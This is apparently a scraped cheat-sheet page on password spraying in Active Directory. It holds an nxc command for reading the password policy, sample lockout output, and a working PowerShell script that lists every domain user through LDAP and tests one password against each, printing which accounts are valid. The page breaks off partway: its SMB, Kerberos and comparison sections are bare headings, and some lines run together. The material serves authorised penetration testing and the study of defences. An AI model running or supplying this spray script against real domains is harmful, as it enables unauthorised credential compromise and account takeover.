Password Spraying
# List the domain's password policy
nxc smb <target-ip> -u <user> -p <pass> --pass-pol# List the account policy
> net accounts
...
Lockout threshold: 5
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
...LDAP-Based
# Get the domain and PDC
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $domain.PdcRoleOwner.Name
# Construct the LDAP path
$ldap = "LDAP://$PDC/DC=" + $domain.Name.Replace('.', ',DC=')
# Attempt authentication
$entry = New-Object System.DirectoryServices.DirectoryEntry($ldap, "pete", "Nexus123!")
# Trigger authentication
$entry.distinguishedName # Triggers authenticationparam(
[string]$Password = "Nexus123!",
[string]$Domain = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name
)
Write-Host "[*] Starting LDAP password spray for domain: $Domain"
$PDC = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner).Name
$LDAP = "LDAP://$PDC/DC=" + $Domain.Replace('.', ',DC=')
# Get all users from AD
$Searcher = New-Object DirectoryServices.DirectorySearcher
$Searcher.Filter = "(objectCategory=person)"
$Searcher.PageSize = 1000
$Searcher.PropertiesToLoad.Add("sAMAccountName") > $null
$Users = $Searcher.FindAll() | ForEach-Object { $_.Properties.samaccountname }
foreach ($User in $Users) {
if ([string]::IsNullOrWhiteSpace($User)) { continue }
try {
$Entry = New-Object System.DirectoryServices.DirectoryEntry($LDAP, $User, $Password)
$null = $Entry.distinguishedName # Force bind/authentication
Write-Host "[+] VALID: $User : $Password"
} catch {
Write-Host "[-] INVALID: $User"
}
}SMB-Based
Kerberos-Based
Method Comparison
Protocol
Noise
Lockout-Safe
Speed
Notes
Last updated